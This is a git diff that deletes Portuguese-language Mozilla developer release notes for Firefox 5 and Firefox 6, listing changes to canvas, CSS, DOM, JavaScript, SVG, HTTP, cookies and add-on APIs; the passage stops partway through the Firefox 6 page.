- <li><code>drawImage()</code> e <code>createImageData()</code> agora lidam com argumentos negativos de acordo com a especificação, coloando o retângulo ao redor do eixo apropriado. <strong>É necessário um artigo sobre <strong><a class="external" href="http://dev.w3.org/csswg/css3-images/#default-sizing" title="http://dev.w3.org/csswg/css3-images/#default-sizing">redimencionamento CSS</a></strong> e como ele funciona.</strong></li>
- <li>A especificação de valores não finitos na chamada de <code>createImageData()</code> agora lança uma exceção <code>NOT_SUPPORTED_ERR</code> apropriada.</li>
- <li><code>createImageData()</code> e <code>getImageData()</code> agora retornam corretamente ao menos um pixels válido dos dados da imagem se um retângulo menor do que um pixels for especificado.</li>
- <li>A especificação de um raio negativo na chamada de <code>createRadialGradient()</code> agora corretamente lança <code>INDEX_SIZE_ERR</code>.</li>
- <li>A especificação de uma imagem <code>null</code> ou <code>undefined</code> na chamada de <code>createPattern()</code> ou <code>drawImage()</code> agora corretamente lança uma exceção <code>TYPE_MISMATCH_ERR</code>.</li>
- <li>A especificação de valores inválidos para <code>globalAlpha</code> não lança mais uma exceção <code>SYNTAX_ERR</code>; estes agora são correta e silenciosamente ignorados.</li>
- <li>A especificação de valores inválidos na chamada de <code>translate()</code>, <code>transform()</code>, <code>rect()</code>, <code>clearRect()</code>, <code>fillRect()</code>, <code>strokeRect()</code>, <code>lineTo()</code>, <code>moveTo()</code>, <code>quadraticCurveTo()</code> ou <code>arc()</code> não lançam mais uma exceção; estas chamadas são agora correta e silenciosamente ignoradas.</li>
- <li>A configuração do valor de <code>shadowOffsetX</code>, <code>shadowOffsetY</code> ou <code>shadowBlur</code> para valores inválidos é agora silenciosamente ignorada.</li>
- <li>A configuração do valor de <code>rotate</code> ou <code>scale</code> para valores inválidos é agora silenciosamente ignorada.</li>
-</ul>
-<h3 id="CSS">CSS</h3>
-<dl>
- <dt>
- <a href="/en/CSS/CSS_animations" title="en/CSS/CSS animations">CSS animations</a></dt>
- <dd>
- Foi adicionado o suporte para animações CSS, por enquanto com o uso do prefixo <code>-moz</code>-.</dd>
-</dl>
-<h3 id="DOM">DOM</h3>
-<ul>
- <li>O objeto {{ domxref("selection") }} do método <a href="/en/DOM/Selection/modify" title="en/DOM/Selection/modify"><code>modify()</code></a> foi mudado para que a granularidade da seleção da "palavra" não mais inclua espaços a direita; isto torna-o mais consistente em diferentes plataformas e combina com o comportamento da implementação do WebKit.</li>
- <li>O método {{ domxref("window.setTimeout()") }} agora limita-se a não enviar mais de um tempo limite por segundo em abas inativas. Adicionalmente, ele agora limita-se aos tempos limite aninhados para o menor valor permitido pela especificação do HTML5: 4ms (ao invés de 10ms, antes fixado).</li>
- <li>Similarmente, o método {{ domxref("window.setInterval()") }} agora limita-se a não enviar mais do que um intervalo por segundo em abas inativas.<code> </code></li>
- <li><a href="/en/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a> agora <a href="/En/XMLHttpRequest/Using_XMLHttpRequest#Detecting_any_load_end_condition" title="en/XMLHttpRequest/Using XMLHttpRequest#Detecting any load end condition">suporta o evento <code>loadend</code></a> para ouvintes de progresso. Isto é enviado após o fim de qualquer transferência (isto é, após os eventos de <code>abort</code>, <code>error</code> ou <code>load</code>). Você pode usar isto para lidar com quaisquer tarefas que necessitem ser realizadas independente do sucesso ou da falha da transferência.</li>
- <li>O {{ domxref("Blob") }} e, por extensão, o objeto {{ domxref("File") }} do método <code>slice()</code> foi removido e substituido com uma nova sintaxe que o torna mais consistente com os métodos <a href="/en/JavaScript/Reference/Global_Objects/Array/slice" title="en/JavaScript/Reference/Global Objects/Array/slice"><code>Array.slice()</code></a> e <a href="/en/JavaScript/Reference/Global_Objects/String/slice" title="en/JavaScript/Reference/Global Objects/String/slice"><code>String.slice()</code></a> do JavaScript. Este método foi chamado de <a href="/en/DOM/Blob#mozSlice()" title="en/DOM/Blob#mozSlice()"><code>mozSlice()</code></a> por enquanto.</li>
- <li>O valor de {{ domxref("window.navigator.language") }} é agora determinado pela observação do valor de <code>Accept-Language</code> do <a href="/en/HTTP/Headers" title="en/HTTP/Headers">cabeçalho HTTP</a>.</li>
-</ul>
-<h3 id="JavaScript">JavaScript</h3>
-<ul>
- <li>Expressões regulare não podem mais ser chamadas como se fossem funções; esta mudança foi feita juntamente com a equipe do WebKit para assegurar a compatibilidade (veja {{ WebkitBug(28285) }}. Esta característica existiu por um longo tempo mas nunca foi documentada (ao menos não no MDC).</li>
- <li>O método <a href="/en/JavaScript/Reference/Global_Objects/Function/isGenerator" title="en/JavaScript/Reference/Global Objects/Function/isGenerator"><code>Function.prototype.isGenerator()</code></a> é agora suportado; ele permite determinar se uma função é um <a href="/en/JavaScript/Guide/Iterators_and_Generators#Generators.3a_a_better_way_to_build_Iterators" title="en/Core JavaScript 1.5 Guide/Iterators and Generators#Generators.3a a better way to build Iterators">generator</a>.</li>
-</ul>
-<h3 id="SVG">SVG</h3>
-<ul>
- <li>O atributo SVG {{ SVGAttr("class") }} pode agora ser animado.</li>
- <li>As seguintes interfaces DOM relacionadas com o SVG, representando listas de objetos são agora indexáveis e podem ser acessadas como uma ordenação; adicionalmente, elas possuem uma propriedade <code>length</code> indicando o número de itens nas listas: {{ domxref("SVGLengthList") }}, {{ domxref("SVGNumberList") }}, {{ domxref("SVGPathSegList") }} e {{ domxref("SVGPointList") }}.</li>
-</ul>
-<h3 id="HTTP">HTTP</h3>
-<ul>
- <li>O Firefox não envia mais o cabeçalho HTTP "Keep-Alive"; nós não o estávamos formatando corretamente e ele era redundante, uma vez que também enviávamos o cabeçalho {{ httpheader("Connection") }} ou {{ httpheader("Proxy-Connection") }} com o valor "keep-alive" de qualquer modo.</li>
- <li>O modelo de transação HTTP foi atualizado para ser mais inteligente no reuso de conexões na área de conexão permanente; ao invés de tratar isto como uma pilha {{ interwiki("wikipedia", "FIFO") }}, o Necko agora tenta sortear uma área com conexões com as maiores {{ interwiki("wikipedia", "congestion window") }} (CWND) primeiro. Isto pode reduzir o tempo de ida e volta (RTT) de transações HTTP evitando a necessidade de aumentar janelas de conexões em muitos casos.</li>
- <li>O Firefox agora lida com o cabeçalho de resposta Content-Disposition HTTP mais efetivamente se ambos os parâmetros <code>filename</code> e <code>filename*</code> são fornecidos; ele procura por todos os nomes fornecidos, usando o parâmetro<code> filename*</code> se houver um disponível, mesmo se um parâmetro <code>filename</code> é incluido primeiro. Anteriormente, o primeiro parâmetro de comparação seria usado, desta forma impedindo o uso de um nome mais apropriado. Veja {{ bug(588781) }}.</li>
-</ul>
-<h3 id="MathML">MathML</h3>
-<ul>
- <li>Suporte a <a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#id.3.2.5.7.3" title="http://www.w3.org/TR/MathML3/chapter3.html#id.3.2.5.7.3">operadores embelezados</a></li>
-</ul>
-<h3 id="Ferramentas_para_desenvolvedores">Ferramentas para desenvolvedores</h3>
-<ul>
- <li>O <a href="/en/Using_the_Web_Console#The_console_object" title="en/Using the Web Console#The console object">objeto <code>Console</code> do </a><a href="/en/Using_the_Web_Console#The_console_object" title="en/Using the Web Console#The console object">Console Web</a> agora possui um método <code>debug()</code>, o qual é um pseudônimo para seu método <code>log()</code>; isto melhora a compatibilidade com certos sites existentes.</li>
-</ul>
-<h2 id="Mudanças_para_desenvolvedores_de_complementos_e_da_Mozilla">Mudanças para desenvolvedores de complementos e da Mozilla</h2>
-<div class="note">
- <strong>Nota:</strong> O Firefox 5 requere que componentes bionários sejam recompilados, assim como todas as versões maiores do Firefox. Veja <a href="/En/Developer_Guide/Interface_Compatibility#Binary_Interfaces" title="En/Developer Guide/Interface Compatibility#Binary Interfaces">Interfaces Binárias</a> para detalhes.</div>
-<h3 id="Mudanças_nos_módulos_de_código_do_JavaScript">Mudanças nos módulos de código do JavaScript</h3>
-<h4 id="Novos_módulos_de_códigos_JavaScript">Novos módulos de códigos JavaScript</h4>
-<ul>
- <li>O módulo de código <a href="/en/JavaScript_code_modules/Dict.jsm" title="en/JavaScript code modules/Dict.jsm"><code>Dict.jsm</code></a> foi adicionado; ele fornece uma API para dicionários de pares chave/valor.</li>
-</ul>
-<h4 id="NetUtil.jsm">NetUtil.jsm</h4>
-<ul>
- <li>O método <a href="/en/JavaScript_code_modules/NetUtil.jsm#asyncFetch()" title="en/JavaScript code modules/NetUtil.jsm#asyncFetch()"><code>asyncFetch()</code></a> agora suporta a especificação da fonte de entrada como um {{ interface("nsIInputStream") }}.</li>
-</ul>
-<h3 id="Mudanças_na_interface">Mudanças na interface</h3>
-<ul>
- <li>A interface {{ interface("nsIHttpChannelInternal") }} possui novos atributos provendo acesso à informações sobre os pontos de extremidades dos endereços e portas dos canais. Esta informação é fornecida primariamente para propósitos de depuração.</li>
- <li>Os atributos {{ htmlattrxref("width", "canvas") }} e {{ htmlattrxref("height", "canvas") }} do elemento {{ HTMLElement("canvas") }} são agora refletidos em IDL como <em>unsigned integers</em> ao invés de <em>signed</em> (veja <a href="/en/DOM/HTMLCanvasElement" title="en/DOM/HTMLCanvasElement"><code>HTMLCanvasElement</code></a>).</li>
-</ul>
-<h3 id="Ferramentas_de_depuração">Ferramentas de depuração</h3>
-<ul>
- <li>O novo ajudante <a href="/En/Namespace/Mozilla/DebugOnly%3CT%3E" title="En/Namespace/Mozilla/DebugOnly&lt;T>"><code>DebugOnly&lt;T&gt;</code></a> torna possível declarar variáveis somente para construções <code>DEBUG</code>.</li>
-</ul>
-<h3 id="API_JavaScript_(SpiderMonkey)">API JavaScript (SpiderMonkey)</h3>
-<ul>
- <li><a href="/en/SpiderMonkey/JSAPI_Reference/JS_DoubleToInt32" title="en/SpiderMonkey/JSAPI Reference/JS DoubleToInt32"><code>JS_DoubleToInt32()</code></a> e <a href="/en/SpiderMonkey/JSAPI_Reference/JS_DoubleToInt32" title="en/SpiderMonkey/JSAPI Reference/JS DoubleToInt32"><code>JS_DoubleToUint32()</code></a> foram adicionados, para converter valores <code><a href="/en/SpiderMonkey/JSAPI_Reference/jsdouble" title="en/jsdouble">jsdouble</a></code> em <em>integers</em> C e <em>unsigned integers</em>.</li>
-</ul>
-<h3 id="Mudanças_no_sistema_de_construção">Mudanças no sistema de construção</h3>
-<ul>
- <li>
- <p>Você pode construir o Firefox sem um arquivo <code>mozconfig</code>; a<a href="/en/Configuring_Build_Options#Choose_an_application" title="en/Configuring Build Options#Choose an application"> configuração</a> <a href="/en/Configuring_Build_Options#Choose_an_application" title="en/Configuring Build Options#Choose an application"><code>--enable-application</code></a> agora tem "browser" por padrão. Após puxar ou baixar o código, você pode simplesmente <code>configure &amp;&amp; make</code> (ou <code>make -f client.mk</code>) para construir o Firefox.</p>
- </li>
-</ul>
-<h3 id="Veja_também">Veja também</h3>
-<ul>
- <li><a href="/pt/Firefox_4_para_desenvolvedores" title="pt/Firefox 4 para desenvolvedores">Firefox 4 para desenvolvedores</a></li>
- <li><a href="/pt/Firefox_3.6_para_desenvolvedores" title="pt/Firefox 3.6 para desenvolvedores">Firefox 3.6 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_3.5_para_desenvolvedores" title="pt/Firefox 3.5 para desenvolvedores">Firefox 3.5 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_3_para_desenvolvedores" title="pt/Firefox 3 para desenvolvedores">Firefox 3 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_2_para_desenvolvedores" title="pt/Firefox 2 para desenvolvedores">Firefox 2 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_1.5_para_desenvolvedores" title="pt/Firefox 1.5 para desenvolvedores">Firefox 1.5 para desenvolvedores</a></li>
-</ul>
-<p>{{ languages( { "en": "en/Firefox_5_for developers"} ) }}</p>
diff --git a/files/pt-pt/mozilla/firefox/releases/6/index.html b/files/pt-pt/mozilla/firefox/releases/6/index.html
deleted file mode 100644
index 7f28326dce..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/6/index.html
+++ /dev/null
@@ -1,250 +0,0 @@
----
-title: Firefox 6 para programadores
-slug: Mozilla/Firefox/Releases/6
-translation_of: Mozilla/Firefox/Releases/6
-original_slug: Firefox_6_para_desenvolvedores
----
-<div><section class="Quick_links" id="Quick_Links">
- <ol>
- <li class="toggle">
- <details>
- <summary>Firefox developer release notes</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/Firefox/Releases">Firefox developer release notes</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Add-ons</summary>
- <ol>
- <li><a href="/pt-PT/Add-ons/WebExtensions">Browser extensions</a></li>
- <li><a href="/pt-PT/Add-ons/Themes">Themes</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Firefox internals</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/">Mozilla project</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Gecko">Gecko</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Firefox/Headless_mode">Headless mode</a></li>
- <li><a href="/pt-PT/docs/Mozilla/JavaScript_code_modules">JavaScript code modules</a></li>
- <li><a href="/pt-PT/docs/Mozilla/js-ctypes">JS-ctypes</a></li>
- <li><a href="/pt-PT/docs/Mozilla/MathML_Project">MathML project</a></li>
- <li><a href="/pt-PT/docs/Mozilla/MFBT">MFBT</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Projects">Mozilla projects</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Preferences">Preference system</a></li>
- <li><a href="/pt-PT/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Tech/XPCOM">XPCOM</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Tech/XUL">XUL</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Building and contributing</summary>
- <ol>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions">Build instructions</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions/Configuring_Build_Options">Configuring build options</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Build_Instructions/How_Mozilla_s_build_system_works">How the build system works</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Developer_guide/Source_Code/Mercurial">Mozilla source code</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Localization">Localization</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Mercurial">Mercurial</a></li>
- <li><a href="/pt-PT/docs/Mozilla/QA">Quality assurance</a></li>
- <li><a href="/pt-PT/docs/Mozilla/Using_Mozilla_code_in_other_projects">Using Mozilla code in other projects</a></li>
- </ol>
- </details>
- </li>
- </ol>
-</section></div>
-
-<p>O Firefox 6, baseado no Gecko 6.0, será lançado no dia 16 de agosto de 2011. Este artigo fornece hiperligações para a informação acerca das alterações que afetam os programadores neste lançamento.</p>
-
-<h2 id="Alterações_para_os_programadores_da_Web">Alterações para os programadores da Web</h2>
-
-<h3 id="HTML">HTML</h3>
-
-<dl>
-</dl>
-
-<ul>
- <li>O elemento <a href="/pt-PT/docs/Web/HTML/Element/progress" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;progress&gt;</code></a> do HTML5, o qual permite a criação de barras de progresso, agora é suportado.</li>
- <li>A análise do elemento <a href="/pt-PT/docs/Web/HTML/Element/track" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;track&gt;</code></a> do HTML5, o qual especifica faixas de texto para elementos de mídia, é agora suportado. Este elemento deve aparecer no DOM agora, apesar disso, seu comportamento ainda não foi implementado.</li>
- <li>O elemento <a href="/pt-PT/docs/Web/HTML/Element/iframe" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;iframe&gt;</code></a> agora está corretamente associado ao seu receptáculo quando as bordas do receptáculo foram arredondadas utilizando-se a propriedade <a href="/pt-PT/docs/Web/CSS/border-radius" title="The documentation about this has not yet been written; please consider contributing!"><code>border-radius</code></a>.</li>
- <li>Campos de texto <a href="/pt-PT/docs/Web/HTML/Element/input" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;input&gt;</code></a> do elemento <a href="/pt-PT/docs/Web/HTML/Element/form" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;form&gt;</code></a> não são mais suportam a propriedade <code><span><a href="https://developer.mozilla.org/pt-PT/docs/XUL/Property/maxwidth">maxwidth</a></span></code> do XUL; isto nunca foi intencional, e está em desacordo com a especificação do HTML. Você deve ao invés, usar o atributo <code><a href="/pt-PT/docs/Web/HTML/Element/input#attr-size">size</a></code> para configurar a largura máxima dos campos de entrada.</li>
- <li>As propriedades <code>fillStyle</code> e <code>strokeStyle</code> do <a href="/pt-PT/docs/Web/HTML/Element/canvas" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;canvas&gt;</code></a> <a href="/pt-PT/docs/Web/API/CanvasRenderingContext2d" title="The documentation about this has not yet been written; please consider contributing!"><code>CanvasRenderingContext2d</code></a> costumavam ignorar lixo incluído após a definição correta de cor; agora isto é corretamente tratado, como um erro. Por exemplo, "red blue" como uma cor, costumava ser tratado como "red", quando deveria ser ignorado.</li>
- <li>A largura e altura dos elementos do <a href="/pt-PT/docs/Web/HTML/Element/canvas" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;canvas&gt;</code></a> podem agora serem corretamente configuradas para 0px; anteriormente, elas estavam recebendo uma configuração arbirária de 300px quando essa configuração era testada</li>
- <li>Foi adicionado suporte para <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">custom data attributes</a> (data-*). A propriedade <a href="/pt-PT/docs/Web/API/Element/dataset" title="The documentation about this has not yet been written; please consider contributing!"><code>element.dataset</code></a> do DOM permite acessá-los.</li>
- <li>Quando um elemento <a href="/pt-PT/docs/Web/HTML/Element/textarea" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;textarea&gt;</code></a> recebe foco, o ponto de inserção de texto é agora indicado, por padrão, no início do texto, ao invés de no fim. Isto torna o comportamento do Firefox consistente com outros navegadores.</li>
-</ul>
-
-<h3 id="CSS">CSS</h3>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/CSS/text-decoration-color" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-text-decoration-color</code></a></dt>
- <dd>Esta nova propriedade permite configurar a cor usada em decorações de texto, tais como sublinhados, sobrelinhados e rasurados.</dd>
- <dt><a href="/pt-PT/docs/Web/CSS/text-decoration-line" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-text-decoration-line</code></a></dt>
- <dd>Esta nova propriedade permite configurar o tipo de decoração de texto adicionado a um elemento.</dd>
- <dt><a href="/pt-PT/docs/Web/CSS/text-decoration-style" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-text-decoration-style</code></a></dt>
- <dd>Esta nova propriedade permite configurar o estilo das decorações de texto, tais como sublinhado, sobrelinhado e rasurado. Os estilos incluem simples tracejado, tracejado duplo, linha ondulada, linha pontilhada e assim por diante.</dd>
- <dt><a href="/pt-PT/docs/Web/CSS/hyphens" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-hyphens</code></a></dt>
- <dd>Esta nova propriedade permite controlar como é tratada a hifenização das palavras quando ocorre uma quebra de linha.</dd>
- <dt><a href="/pt-PT/docs/Web/CSS/orient" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-orient</code></a></dt>
- <dd>Uma nova propriedade (atualmente específica da Mozilla) a qual permite controlar a orientação: vertical ou horizontal, de certos elementos (particularmente <a href="/pt-PT/docs/Web/HTML/Element/progress" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;progress&gt;</code></a>).</dd>
- <dt><a href="/pt-PT/docs/Web/CSS/::-moz-progress-bar" title="The documentation about this has not yet been written; please consider contributing!"><code>::-moz-progress-bar</code></a></dt>
- <dd>A Mozilla-specific pseudo-element that lets you style the area of an <a href="/pt-PT/docs/Web/HTML/Element/progress" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;progress&gt;</code></a> element representing the completed portion of a task.</dd>
-</dl>
-
-<h4 id="Outras_alterações">Outras alterações</h4>
-
-<ul>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/@-moz-document" title="The documentation about this has not yet been written; please consider contributing!"><code>@-moz-document</code></a> possui uma nova função <code>regexp()</code>, a qual permite comparar uma URL de documento com uma <a href="/en/JavaScript/Guide/Regular_Expressions" title="en/Core JavaScript 1.5 Guide/Regular Expressions">expressão regular</a> (en).</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/CSS/azimuth" title="Em combinação com elevation, azimuth habilita diferentes fontes de áudio para serem posicionadas espacialmente para apresentações aurais. Isto é importante porque proporciona uma maneira natural de contar várias vozes a parte, como cada uma pode ser posicionada para originar em uma localização diferente no estágio de som. Saída estéreo produz um estágio de som lateral, enquanto instalações de fones de ouvido e microfones permitem um estágio tridimencional completo."><code>azimuth</code></a> do CSS não é mais suportada, haja vista a remoção do pequeno código do grupo de mídia <code>aural</code> que tínhamos. A mesma nunca foi significantemente implementada, portanto fazia mais sentido remover uma implementação intrincada pelo tempo ao invés de tentar corrigí-la.</li>
- <li>No passado, a pseudoclasse <a href="/pt-PT/docs/Web/CSS/:hover" title="The documentation about this has not yet been written; please consider contributing!"><code>:hover</code></a> não se aplicava a seletores de classe quando no modo <strong>quirks</strong>; por exemplo, <code>.someclass:hover</code> não funcionava Este <strong>quirk</strong> foi removido.</li>
- <li>A pseudoclasse <a href="/pt-PT/docs/Web/CSS/:indeterminate" title="The documentation about this has not yet been written; please consider contributing!"><code>:indeterminate</code></a> pode ser aplicada a elementos <a href="/pt-PT/docs/Web/HTML/Element/progress" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;progress&gt;</code></a>. Isto não é um padrão, mas esperamos que seja adotado por outros navegadores, pois é útil.</li>
-</ul>
-
-<h3 id="DOM">DOM</h3>
-
-<dl>
- <dt><a href="/en/CSS/Using_media_queries_from_code" title="en/CSS/Using media queries from code">Utilizar pedidos de multimédia do código</a> (en)</dt>
- <dd>Agora é possível testar o resultado de uma sequência de consulta de mídia programaticamente usando o método <a href="/pt-PT/docs/Web/API/Window/matchMedia" title="The documentation about this has not yet been written; please consider contributing!"><code>window.matchMedia()</code></a> e a interface <a href="/pt-PT/docs/Web/API/MediaQueryList" title="The documentation about this has not yet been written; please consider contributing!"><code>MediaQueryList</code></a>.</dd>
-</dl>
-
-<ul>
- <li><code>navigator.securityPolicy</code>, o qual retornou uma string vazia por muito tempo, foi totalmente removido.</li>
- <li><a href="/pt-PT/docs/Web/API/Document/height" title="The documentation about this has not yet been written; please consider contributing!"><code>document.height</code></a> e <a href="/pt-PT/docs/Web/API/Document/width" title="The documentation about this has not yet been written; please consider contributing!"><code>document.width</code></a> foram removidos. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=585877" title="FIXED: remove document.height / document.width">bug 585877</a></li>
- <li>As propriedades <code>entities</code> e <code>notations</code> do objeto <a href="/pt-PT/docs/Web/API/DocumentType" title="The documentation about this has not yet been written; please consider contributing!"><code>DocumentType</code></a>, as quais nunca foram implementadas e sempre retornaram  <code>null</code>, foram removidas, uma vez que também foram removidas da especificação.</li>
- <li>A interface <code>DOMConfiguration</code> e a propriedade <code>document.domConfig</code> que a utilizava foram ambas removidas; elas nunca foram suportadas e já foram removidas da especificação do DOM.</li>
- <li>O evento <code>hashchange</code> agora inclui corretamente <a href="/en/DOM/window.onhashchange#The_hashchange_event" title="en/DOM/window.onhashchange#The hashchange event">os campos <code>newURL</code> e <code>oldURL</code></a> (en).</li>
- <li>O método <code>abort()</code> da interface <a href="/pt-PT/docs/Web/API/FileReader" title="The FileReader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using File or Blob objects to specify the file or data to read."><code>FileReader</code></a> agora lança uma exceção quando usado, se nenhuma leitura de arquivo estiver em progresso.</li>
- <li>Agora é possível <a href="/en/Printing#Detecting_print_requests" title="https://developer.mozilla.org/en/Printing#Detecting_print_requests">detectar quando uma impressão foi iniciada e completada</a> (en) observando os novos eventos <code>beforeprint</code> e <code>afterprint</code>.</li>
- <li>A propriedade <code>document.strictErrorChecking</code> foi removida, uma vez que nunca foi implementada e que foi removida da especificação do DOM.</li>
- <li>A propriedade padrão <a href="/pt-PT/docs/Web/API/Event/defaultPrevented" title="The documentation about this has not yet been written; please consider contributing!"><code>event.defaultPrevented</code></a> é agora suportada; deve-se usá-la ao invés do método não padrão <code>getPreventdefault()</code> para detectar se <a href="/pt-PT/docs/Web/API/Event/preventDefault" title="The documentation about this has not yet been written; please consider contributing!"><code>event.preventDefault()</code></a> foi ou não chamado no evento.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/API/Window/top" title="The documentation about this has not yet been written; please consider contributing!"><code>window.top</code></a> é agora, corretamente, somente letura.</li>
- <li>A visualização do DOM, a qual nunca foi documentada, foi removida. Isto era um pequeno detalhe de implementação que estava complicando as coisas desnecessariamente, então nos livramos disto. Se esta mudança for percebida, provavelmente se está fazendo alguma coisa errada.</li>
- <li>O parâmetro EventTarget da função useCapture do addEventListener() é agora opcional, assim como no WebKit. Embora não seja um comportamento padrão, isto melhora a compatibilidade.</li>
- <li>A propriedade <code>mozResponseArrayBuffer</code> do objeto <a href="/en/XMLHttpRequest" title="en/XMLHttpRequest"><code>XMLHttpRequest</code></a> foi substituida pelas propriedades <code>responseType</code> e <code>response</code>.</li>
- <li>A propriedade <a href="/pt-PT/docs/Web/API/Element/dataset" title="The documentation about this has not yet been written; please consider contributing!"><code>element.dataset</code></a> foi adicionada à interface <a href="/en/DOM/HTMLElement" title="en/DOM/HTMLElement"><code>HTMLElement</code></a> permitindo acesso aos <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">atributos globais</a> (en) <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*"><code>data-*</code></a> de um elemento.<a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">Global attributes#attr-data-*</a></li>
-</ul>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<ul>
- <li>No passado, era possível usar o operador <code>new</code> em várias funções embutidas (eval, parseInt, Date.parse...) que não deveriam permitir isto, de acordo com a especificação. Este comportamento não é mais suportado. O uso do operador <code>new</code> desta maneira nunca foi oficialmente suportado e não foi muito utilizado, desta forma é pouco provável que esta mudança o afete.</li>
- <li>O ECMAScript Harmony <a href="/en/JavaScript/Reference/Global_Objects/WeakMap" title="en/JavaScript/Reference/Global_Objects/WeakMap">WeakMaps</a> foi adicionado como uma implementação em protótipos.</li>
-</ul>
-
-<h3 id="SVG">SVG</h3>
-
-<ul>
- <li>O atributo <code><a href="/pt-PT/docs/Web/SVG/Attribute/pathLength">pathLength</a></code> é agora suportado.</li>
- <li>Os padrões, gradientes e filtros do SVG agora trabalham corretamente quando carregados de <a href="/en/data_URIs" title="https://developer.mozilla.org/en/data_URIs"><code>data:</code> URLs</a> (en).</li>
-</ul>
-
-<h3 id="HTTP">HTTP</h3>
-
-<ul>
- <li>A análise do "Content-Disposition" do cabeçalho foi corrigida para interpretar corretamente escapes de contrabarras e caracteres ASCII assim como o próprio caractere. Anteriormente o caractere estava sendo substituido incorretamente por um sublinhado ("_").</li>
- <li>O cabecalho "Accept-Charset" não é mais enviado; sua utilidade é mínima agora que o suporte ao UTF-8 é quase universal e pode ser usado para obter informações (mínimas) sobre os usuários.</li>
-</ul>
-
-<h3 id="Cookies">Cookies</h3>
-
-<ul>
- <li>O valor do campo de caminho nos cabeçalhos <code>Set-Cookie</code> é agora interpretado corretamente quando são usadas aspas duplas; anteriormente elas estavam sendo tratadas como parte da string de caminhos ao invés de delimitadores. <strong>Esta mudança pode afetar a compatibilidade com alguns sites</strong>, os autores devem, desta forma, checar seu código.</li>
-</ul>
-
-<h3 id="Outras_alterações_2">Outras alterações</h3>
-
-<ul>
- <li>O suporte à microresumos foi removido; estes nunca foram amplamente utilizados, não sendo muito detectáveis. Continuar o suporte a isto estava dificultando a melhoria da arquitetura do Places (favoritos e histórico)</li>
- <li>O WebGL agora suporta a extensão <a class="external" href="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt" title="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt"><code>OES_texture_float</code></a>.</li>
-</ul>
-
-<h2 id="Alterações_para_os_programadores_de_extras_e_da_Mozilla">Alterações para os programadores de extras e da Mozilla</h2>
-
-<div class="note"><strong>Nota:</strong> o Firefox 6 necessita que os componentes binários sejam recompilados, assim como todos os lançamentos maiores do Firefox. Veja <a href="/En/Developer_Guide/Interface_Compatibility#Binary_Interfaces" title="En/Developer Guide/Interface Compatibility#Binary Interfaces">Interfaces Binárias</a> (en) para detalhes.</div>
-
-<h3 id="Módulos_de_código_JavaScript">Módulos de código JavaScript</h3>
-
-<h4 id="FileUtils.jsm">FileUtils.jsm</h4>
-
-<ul>
- <li>O método <code>openSafeFileOutputStream()</code> agora abre arquivos com a<a href="/en/XPCOM_Interface_Reference/nsIFileOutputStream#Behavior_flag_constants" title="en/XPCOM Interface Reference/nsIFileOutputStream#Behavior flag constants"> <em>flag</em> de comportamento</a> (en) <code>DEFER_OPEN</code>  ao invés de tentar abri-los imediatamente.</li>
-</ul>
-
-<h4 id="XPCOMUtils.jsm">XPCOMUtils.jsm</h4>
-
-<ul>
- <li>O novo método <a href="/en/JavaScript_code_modules/XPCOMUtils.jsm#importRelative()" title="en/JavaScript code modules/XPCOMUtils.jsm#importRelative()"><code>importRelative()</code></a> permite carregar um módulo de código JavaScript de um caminho relativo de outro módulo JavaScript. Isto facilita a construção de módulos que dependam um do outro.</li>
-</ul>
-
